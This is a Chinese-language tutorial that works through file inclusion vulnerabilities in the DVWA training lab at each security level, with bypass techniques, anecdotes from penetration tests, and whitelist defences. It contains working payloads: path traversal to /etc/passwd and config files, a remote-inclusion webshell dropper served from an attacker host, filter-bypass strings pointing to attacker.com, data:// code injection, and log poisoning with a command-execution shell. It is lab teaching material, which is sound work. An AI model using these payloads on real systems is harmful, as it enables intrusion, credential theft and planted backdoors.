第一次听说"文件包含漏洞"这个概念时,我还以为是什么高深莫测的黑客技术。直到在DVWA靶场里亲手复现了整个攻击过程,才发现这个看似简单的漏洞竟然能造成如此严重的破坏。简单来说,文件包含漏洞就像是你家大门钥匙被陌生人复制了——攻击者可以通过这个漏洞读取服务器上的任意文件,甚至直接接管你的网站服务器。
我在实际渗透测试中发现,这类漏洞特别容易出现在使用PHP开发的网站中。很多新手开发者为了图方便,会直接使用include($_GET['page'])这样的危险写法。记得去年审计一个企业网站时,就发现他们用这种方式实现多语言切换功能,结果导致整个服务器的数据库配置文件都被泄露。
文件包含漏洞主要分为两种类型:
这两种漏洞的危害程度不同,但都可能造成灾难性后果。下面我们就通过DVWA靶场,一步步拆解攻击者是如何利用这些漏洞的。
在开始实战之前,我们需要先搭建好DVWA测试环境。这里我推荐使用XAMPP或PHPStudy这类集成环境,比单独配置要方便得多。记得我刚开始学习时,光是配置PHP环境就折腾了一整天,现在想想真是走了不少弯路。
安装完成后,有几个关键配置需要注意:
bash复制# 修改php.ini关键参数
allow_url_include = On
allow_url_fopen = On
配置过程中最常见的错误就是忘记重启Apache服务。有次我给学员演示时,改了配置但没生效,排查了半天才发现是服务没重启。这个小细节希望大家引以为戒。
DVWA的File Inclusion模块提供了三个测试页面:file1.php、file2.php和file3.php。通过观察URL变化,你会发现页面切换是通过page参数控制的。这种设计在实际开发中很常见,但也正是漏洞的温床。
在Low安全级别下,DVWA对用户输入没有任何过滤。我们可以直接构造payload读取系统敏感文件:
code复制http://localhost/DVWA/vulnerabilities/fi/?page=../../../../etc/passwd
这个简单的攻击就能获取Linux系统的用户信息。我在一次真实渗透测试中,就是通过这种方式发现了服务器上存在多个未使用的测试账户,后来这些账户都成为了横向移动的跳板。
更危险的是,如果服务器配置不当,我们还可以通过LFI读取Web应用的配置文件:
code复制http://localhost/DVWA/vulnerabilities/fi/?page=../../../config/config.inc.php
这些文件通常包含数据库账号密码等敏感信息。记得有次审计时,我通过这种方式拿到了数据库权限,进而发现了SQL注入漏洞,最终获得了整个系统的控制权。
LFI已经够危险了,但RFI的杀伤力更大。我们可以通过以下步骤实现完整的攻击:
php复制<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
bash复制python3 -m http.server 8000
code复制http://localhost/DVWA/vulnerabilities/fi/?page=http://攻击机IP:8000/hack.php
这个过程我反复测试过几十次,成功率接近100%。最可怕的是,很多企业的生产环境竟然也存在这种低级漏洞。去年某次红队演练中,我们就通过RFI在目标系统植入了持久化后门。
提升到Medium级别后,DVWA增加了简单的过滤:
php复制$file = str_replace(array("http://","https://"), "", $file);
$file = str_replace(array("../","..\\"), "", $file);
这种过滤看似有效,但实际上存在多种绕过方式。我在教学过程中发现,很多开发者认为这样就已经安全了,这是非常危险的误解。
code复制page=D:/xampp/htdocs/DVWA/phpinfo.php
code复制page=....//....//phpinfo.php
code复制page=%2e%2e%2f%2e%2e%2fphpinfo.php
code复制page=..\\..\\phpinfo.php
code复制page=httphttp://://attacker.com/shell.txt
这些绕过技术在实际渗透测试中都非常实用。特别是双写绕过,我在多个CTF比赛中都成功应用过。记得某次企业授权测试时,目标系统过滤了../但没过滤....//,让我成功突破了防御。
High级别的防护代码使用了fnmatch函数:
php复制if(!fnmatch("file*",$file) && $file != "include.php"){
echo "ERROR: File not found!";
exit;
}
这种限制看似严格,但依然存在绕过空间。通过分析,我发现它没有过滤PHP伪协议,这给了我们可乘之机。
code复制page=file:///D:/xampp/htdocs/DVWA/phpinfo.php
file协议可以让我们直接读取本地文件内容。在只允许本地文件包含的情况下,这是非常有用的技巧。我在某次内网渗透中,就是通过这种方式读取到了内网系统的配置文件。
虽然High级别过滤了data协议,但在其他环境中,这种攻击方式仍然有效:
code复制page=data://text/plain,<?php phpinfo();?>
这种攻击方式特别适合在无法上传文件但存在LFI漏洞的场景。有次比赛就是靠这招在最后关头拿到了关键flag。
Impossible级别采用了严格的白名单机制:
php复制if($file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php"){
echo "ERROR: File not found!";
exit;
}
这种防御方式从根本上杜绝了文件包含漏洞。我在开发企业级应用时,都会采用类似的白名单策略,这是目前最可靠的防护手段。
根据多年经验,我总结出以下防护建议:
php复制// 安全的文件包含实现示例
$allowed = ['about.php','contact.php','index.php'];
if(in_array($_GET['page'],$allowed)){
include($_GET['page']);
}else{
die('Invalid request');
}
很多开发者会采用黑名单过滤,但这种方法存在固有缺陷:
有次代码审计时,我发现某系统过滤了../但没过滤..%2f,导致防御被轻易绕过。这种案例在实际中非常常见。
真正有效的防护需要建立多层次防御:
我在给企业做安全咨询时,都会推荐这种深度防御方案。单一防护措施很容易被突破,但多层防御能显著提高攻击成本。
在实际渗透中,单纯的LFI可能限制较多。我通常会先寻找文件上传点,然后结合LFI执行上传的文件。这种组合拳非常有效:
去年某次红队行动中,我们就是通过这种方式突破了目标系统的外围防御。
当其他方法都失效时,还可以尝试通过日志文件注入PHP代码:
bash复制curl -A "<?php system($_GET['cmd']);?>" http://target.com
这种方法需要知道日志文件位置,但在某些情况下可能是唯一可行的攻击路径。
| 工具名称 | 检测类型 | 优点 | 缺点 |
|---|---|---|---|
| Burp Suite | 手动测试 | 灵活可控 | 效率低 |
| WFUZZ | 自动化 | 批量测试 | 误报率高 |
| LFI Suite | 专项检测 | 针对性强 | 更新慢 |
我个人习惯先用自动化工具扫描,再手动验证结果。这种组合方式效率最高。
对于大型项目,我会编写定制化检测脚本:
python复制import requests
def check_lfi(url,param,payloads):
for payload in payloads:
r = requests.get(url,params={param:payload})
if "root:" in r.text: # Linux系统特征
return True
return False
这种脚本可以根据目标环境调整检测策略,比通用工具更精准。
DVWA靶场演示的是理想化场景,真实环境往往更复杂。根据我的经验,实战中需要注意:
有次客户问我:"为什么靶场能成功,真实环境却不行?"这就是理论与实践的差距。真正的安全专家需要理解底层原理,灵活应对各种复杂场景。
文件包含漏洞看似简单,但深入理解后会发现其中蕴含着Web安全的许多核心原理。通过DVWA这个绝佳的学习平台,我们可以系统掌握从基础到高级的攻防技术。希望这篇文章能帮你建立全面的认知体系,在安全道路上走得更远。